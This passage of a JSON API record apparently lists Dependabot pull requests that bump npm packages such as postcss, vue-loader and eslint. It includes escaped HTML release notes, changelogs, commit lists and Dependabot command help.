href=\"https://github.com/Goodwine\"\u003e\u003ccode\u003e@​Goodwine\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epackage.json\u003c/code\u003e→\u003ccode\u003eexports\u003c/code\u003e compatibility with some tools (by \u003ca href=\"https://github.com/JounQin\"\u003e\u003ccode\u003e@​JounQin\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed Parcel compatibility issue (by \u003ca href=\"https://github.com/git-sumitchaudhary\"\u003e\u003ccode\u003e@​git-sumitchaudhary\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded more details to \u003ccode\u003eUnknown word\u003c/code\u003e error (by \u003ca href=\"https://github.com/hiepxanh\"\u003e\u003ccode\u003e@​hiepxanh\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed types (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed docs (by \u003ca href=\"https://github.com/catnipan\"\u003e\u003ccode\u003e@​catnipan\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed end position of rules with semicolon (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed backwards compatibility for complex cases (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5 “Duke Alloces”\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003ePostCSS 8.5 brought API to work better with non-CSS sources like HTML, Vue.js/Svelte sources or CSS-in-JS.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed custom syntax regression (by \u003ca href=\"https://github.com/43081j\"\u003e\u003ccode\u003e@​43081j\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epostcss-scss\u003c/code\u003e commend regression.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed reading any file via user-generated CSS.\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eopts.unsafeMap\u003c/code\u003e to disable checks.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed nested brackets parsing performance (by \u003ca href=\"https://github.com/offset\"\u003e\u003ccode\u003e@​offset\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed XSS via unescaped \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e in non-bundler cases (by \u003ca href=\"https://github.com/TharVid\"\u003e\u003ccode\u003e@​TharVid\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSpeed up source map encoding paring in case of the error.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcessor#version\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved source map annotation cleaning performance (by CodeAnt AI).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eContainerWithChildren\u003c/code\u003e type discriminating (by \u003ca href=\"https://github.com/Goodwine\"\u003e\u003ccode\u003e@​Goodwine\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epackage.json\u003c/code\u003e→\u003ccode\u003eexports\u003c/code\u003e compatibility with some tools (by \u003ca href=\"https://github.com/JounQin\"\u003e\u003ccode\u003e@​JounQin\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed Parcel compatibility issue (by \u003ca href=\"https://github.com/git-sumitchaudhary\"\u003e\u003ccode\u003e@​git-sumitchaudhary\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded more details to \u003ccode\u003eUnknown word\u003c/code\u003e error (by \u003ca href=\"https://github.com/hiepxanh\"\u003e\u003ccode\u003e@​hiepxanh\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed types (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed docs (by \u003ca href=\"https://github.com/catnipan\"\u003e\u003ccode\u003e@​catnipan\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3ec13948ae0006e1bde2dfb545346341ac8b2dcf\"\u003e\u003ccode\u003e3ec1394\u003c/code\u003e\u003c/a\u003e Release 8.5.14 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/f2bb827b20b591080977412555aa3e5baf588620\"\u003e\u003ccode\u003ef2bb827\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d75953d60854ad835fd21dde0b11081522341020\"\u003e\u003ccode\u003ed75953d\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2084\"\u003e#2084\u003c/a\u003e from 43081j/raw-raws-rawing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/68bd2139b5dcaf5a682bc2e8826d8557be2d1480\"\u003e\u003ccode\u003e68bd213\u003c/code\u003e\u003c/a\u003e fix: always call \u003ccode\u003eraw\u003c/code\u003e to retrieve raw values\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/af58cf1b7af02e9b9fcb138a4a2d7ef3450158b1\"\u003e\u003ccode\u003eaf58cf1\u003c/code\u003e\u003c/a\u003e Release 8.5.13 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/f227dbd0e9443e5f33e18e633b8b4d2b55aac5ee\"\u003e\u003ccode\u003ef227dbd\u003c/code\u003e\u003c/a\u003e Temporary ignore pnpm 11 config\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d3abd40d723cf3559e5ddb5fc738b7cb64e92bb0\"\u003e\u003ccode\u003ed3abd40\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/dd06c3e11362087bc18f9c20cee30fd82bda3de9\"\u003e\u003ccode\u003edd06c3e\u003c/code\u003e\u003c/a\u003e Revert stringifier changes because of the conflict with postcss-scss\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/ae889c815fb88d785401a88f1a7dfc8cb11915fb\"\u003e\u003ccode\u003eae889c8\u003c/code\u003e\u003c/a\u003e Try to fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/e0093e49bcf00347383a13e40bb1f67bc823ca15\"\u003e\u003ccode\u003ee0093e4\u003c/code\u003e\u003c/a\u003e Move to pnpm 11\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/7.0.39...8.5.14\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vue-loader` from 15.11.1 to 17.4.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vuejs/vue-loader/releases\"\u003evue-loader's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev17.3.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003edo not skip style post loader for v-bind() in non-scoped CSS (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/d7071bbdeb45518c053bdae8eb7de52fc598adc6\"\u003ed7071bb\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2061\"\u003e#2061\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev17.3.0\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ere-use ident of vue rule for template compiler, fixes \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2029\"\u003e#2029\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2030\"\u003e#2030\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/b50fa5665f2cbc1c0b8e18f65dd3adf1dfe848dc\"\u003eb50fa56\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eskip normal css files without scoped flag in stylePostLoader (\u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2053\"\u003e#2053\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/98782e794fadca83b600b047b55aa6f0c230cc25\"\u003e98782e7\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev17.2.2\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: windows path for \u003ccode\u003eexperiments.css\u003c/code\u003e by \u003ca href=\"https://github.com/h-a-n-a\"\u003e\u003ccode\u003e@​h-a-n-a\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/pull/2049\"\u003evuejs/vue-loader#2049\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev17.2.1\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eA new \u003ccode\u003eexperimentalInlineMatchResource\u003c/code\u003e option (webpack 5 only), which leverages webpack 5's \u003ca href=\"https://webpack.js.org/api/loaders/#inline-matchresource\"\u003einline matchResource\u003c/a\u003e feature in the underlying implementation, and works well with the \u003ca href=\"https://webpack.js.org/configuration/experiments/#experimentscss\"\u003e\u003ccode\u003eexperiments.css\u003c/code\u003e\u003c/a\u003e feature This also makes \u003ccode\u003evue-loader\u003c/code\u003e compatible with \u003ca href=\"https://www.rspack.dev/guide/vue\"\u003eRspack\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2046\"\u003e#2046\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/3149f6d69c2f456bdcfa23acc0da93473a93a764\"\u003e3149f6d\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eNote: v17.2.0 was released by accident; it has the same content as v17.1.2, therefore not included in the Releases page.\u003c/p\u003e\n\u003ch2\u003ev17.1.2\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ekeep build stable when run in a different path (\u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2040\"\u003e#2040\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/a81dc0f573d216eefa13b0275f3fc147bf3e2ef3\"\u003ea81dc0f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eproperly close the watcher after webpack 4 tests (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/40b93b9c2722e85a000de62e3eb8bc02facafd10\"\u003e40b93b9\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev17.1.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport experimental \u003ccode\u003epropsDestructure\u003c/code\u003e and \u003ccode\u003edefineModel\u003c/code\u003e options (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/6269698f9fda37f0e3849db3e8b8e67ad1862f57\"\u003e6269698\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev17.1.0\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: reference project compiler, fixes \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2031\"\u003e#2031\u003c/a\u003e by \u003ca href=\"https://github.com/heywhy\"\u003e\u003ccode\u003e@​heywhy\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/pull/2038\"\u003evuejs/vue-loader#2038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: do not throw when \u003ccode\u003eRule.layer\u003c/code\u003e is used by \u003ca href=\"https://github.com/nolimitdev\"\u003e\u003ccode\u003e@​nolimitdev\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/pull/2000\"\u003evuejs/vue-loader#2000\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport 3.3 imported types hmr (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/bbd98fc8bdc17fcbffb456a5ffe772bc184f22e4\"\u003ebbd98fc\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.0.1...v17.1.0\"\u003ehttps://github.com/vuejs/vue-loader/compare/v17.0.1...v17.1.0\u003c/a\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vuejs/vue-loader/blob/main/CHANGELOG.md\"\u003evue-loader's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.4.1...v17.4.2\"\u003e17.4.2\u003c/a\u003e (2023-12-30)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003epass compilerOptions to sfc parse \u0026amp; re-enable AST reuse (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/d2a2e051c3d985d1ae6bb468749b24543631b482\"\u003ed2a2e05\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.4.0...v17.4.1\"\u003e17.4.1\u003c/a\u003e (2023-12-30)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e(temporarily) disable template ast reuse (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/31b03af121edbe70337f538b1def95acbef4d0f1\"\u003e31b03af\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.3.1...v17.4.0\"\u003e17.4.0\u003c/a\u003e (2023-12-25)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eleverage ast reuse in 3.4 (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/479835fe751691a39c62cda12bffeef9e6830443\"\u003e479835f\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.3.0...v17.3.1\"\u003e17.3.1\u003c/a\u003e (2023-10-31)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003edo not skip style post loader for v-bind() in CSS (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/d7071bbdeb45518c053bdae8eb7de52fc598adc6\"\u003ed7071bb\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2061\"\u003e#2061\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.2.2...v17.3.0\"\u003e17.3.0\u003c/a\u003e (2023-10-07)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ere-use ident of vue rule for template compiler, fixes \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2029\"\u003e#2029\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2030\"\u003e#2030\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/b50fa5665f2cbc1c0b8e18f65dd3adf1dfe848dc\"\u003eb50fa56\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eskip normal css files without scoped flag in stylePostLoader (\u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2053\"\u003e#2053\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/98782e794fadca83b600b047b55aa6f0c230cc25\"\u003e98782e7\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.2.1...v17.2.2\"\u003e17.2.2\u003c/a\u003e (2023-06-02)\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/1c0324f46ba86c6cdaa630642b1034b4786f7389\"\u003e\u003ccode\u003e1c0324f\u003c/code\u003e\u003c/a\u003e v17.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/d2a2e051c3d985d1ae6bb468749b24543631b482\"\u003e\u003ccode\u003ed2a2e05\u003c/code\u003e\u003c/a\u003e fix: pass compilerOptions to sfc parse \u0026amp; re-enable AST reuse\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/071f30d9a043b4e71bec63bc092505f5187a027f\"\u003e\u003ccode\u003e071f30d\u003c/code\u003e\u003c/a\u003e chore: bump to vue 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/94e778e660fb8461ba0b9c08f27ac7212d1fc97e\"\u003e\u003ccode\u003e94e778e\u003c/code\u003e\u003c/a\u003e chore: 17.4.1 changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/284a333a4ff2e4f48aa540a14cc7e394c2f9f3af\"\u003e\u003ccode\u003e284a333\u003c/code\u003e\u003c/a\u003e 17.4.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/31b03af121edbe70337f538b1def95acbef4d0f1\"\u003e\u003ccode\u003e31b03af\u003c/code\u003e\u003c/a\u003e fix: (temporarily) disable template ast reuse\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/50699e687e4750acc53a8412f7cba2c47a5464fd\"\u003e\u003ccode\u003e50699e6\u003c/code\u003e\u003c/a\u003e chore: set \u003ccode\u003ecompilerOptions\u003c/code\u003e in example\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/59a05709a05dc25e421be3120527b1023c3d7182\"\u003e\u003ccode\u003e59a0570\u003c/code\u003e\u003c/a\u003e chore: changelog for 17.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/1bce3f8fa80d86b77dc21d60693bf78aa5cab06b\"\u003e\u003ccode\u003e1bce3f8\u003c/code\u003e\u003c/a\u003e v17.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/f71cb1d263649dbb72d22b31a94a1f08571fa35e\"\u003e\u003ccode\u003ef71cb1d\u003c/code\u003e\u003c/a\u003e chore: update caniuse db\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vuejs/vue-loader/compare/v15.11.1...v17.4.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Mochirii-Wushu/Mochirii/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Mochirii-Wushu/Mochirii/pull/474","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mochirii-Wushu%2FMochirii/issues/474","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/474/packages"}},{"old_version":"8.5.15","new_version":"8.5.19","update_type":"patch","path":null,"pr_created_at":"2026-07-18T02:03:22.000Z","version_change":"8.5.15 → 8.5.19","issue":{"uuid":"4916188419","node_id":"PR_kwDON5h28M7zOU5t","number":126,"state":"open","title":"npm (master)(deps-dev): bump the development-dependencies group with 8 updates","user":"dependabot[bot]","labels":["dependencies"],"assignees":["mimmi20"],"locked":false,"comments_count":3,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-18T02:03:22.000Z","updated_at":"2026-07-18T02:03:50.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"npm (master)(deps-dev): bump","group_name":"development-dependencies","update_count":8,"packages":[{"name":"@eslint/js","old_version":"9.39.4","new_version":"9.39.5","repository_url":"https://github.com/eslint/eslint"},{"name":"@vitest/coverage-istanbul","old_version":"4.1.8","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"eslint","old_version":"9.39.4","new_version":"9.39.5","repository_url":"https://github.com/eslint/eslint"},{"name":"eslint-plugin-import-x","old_version":"4.16.2","new_version":"4.17.1","repository_url":"https://github.com/un-ts/eslint-plugin-import-x"},{"name":"eslint-plugin-security","old_version":"4.0.0","new_version":"4.0.1","repository_url":"https://github.com/eslint-community/eslint-plugin-security"},{"name":"postcss","old_version":"8.5.15","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"prettier","old_version":"3.8.4","new_version":"3.9.5","repository_url":"https://github.com/prettier/prettier"},{"name":"vitest","old_version":"4.1.8","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the development-dependencies group with 8 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@eslint/js](https://github.com/eslint/eslint/tree/HEAD/packages/js) | `9.39.4` | `9.39.5` |\n| [@vitest/coverage-istanbul](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul) | `4.1.8` | `4.1.10` |\n| [eslint](https://github.com/eslint/eslint) | `9.39.4` | `9.39.5` |\n| [eslint-plugin-import-x](https://github.com/un-ts/eslint-plugin-import-x) | `4.16.2` | `4.17.1` |\n| [eslint-plugin-security](https://github.com/eslint-community/eslint-plugin-security) | `4.0.0` | `4.0.1` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.15` | `8.5.19` |\n| [prettier](https://github.com/prettier/prettier) | `3.8.4` | `3.9.5` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.8` | `4.1.10` |\n\nUpdates `@eslint/js` from 9.39.4 to 9.39.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003e@​eslint/js's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev9.39.5\u003c/h2\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/253be16a79a4c78eec4e0eb461b574d60dbf6b11\"\u003e\u003ccode\u003e253be16\u003c/code\u003e\u003c/a\u003e fix: handle unavailable require cache (backport of \u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/20812\"\u003e#20812\u003c/a\u003e to v9.x) (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/21065\"\u003e#21065\u003c/a\u003e) (Eric)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/74930edd1ce0d246819edc72705101ec271da50b\"\u003e\u003ccode\u003e74930ed\u003c/code\u003e\u003c/a\u003e docs: switch build to Node.js 24 (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/20894\"\u003e#20894\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/eaec8bb6b1ca4b36985ee0222c457d4730d47a20\"\u003e\u003ccode\u003eeaec8bb\u003c/code\u003e\u003c/a\u003e docs: Add ESLint v9.x EOL notice (\u003ca href=\"https://github.com/eslint/eslint/tree/HEAD/packages/js/issues/20828\"\u003e#20828\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/458205f7d7a4769f32bec006eecc45c6a71be16a\"\u003e\u003ccode\u003e458205f\u003c/code\u003e\u003c/a\u003e chore: update \u003ccode\u003e@eslint/eslintrc\u003c/code\u003e and \u003ccode\u003e@eslint/js\u003c/code\u003e for v9.39.5 (\u003ca 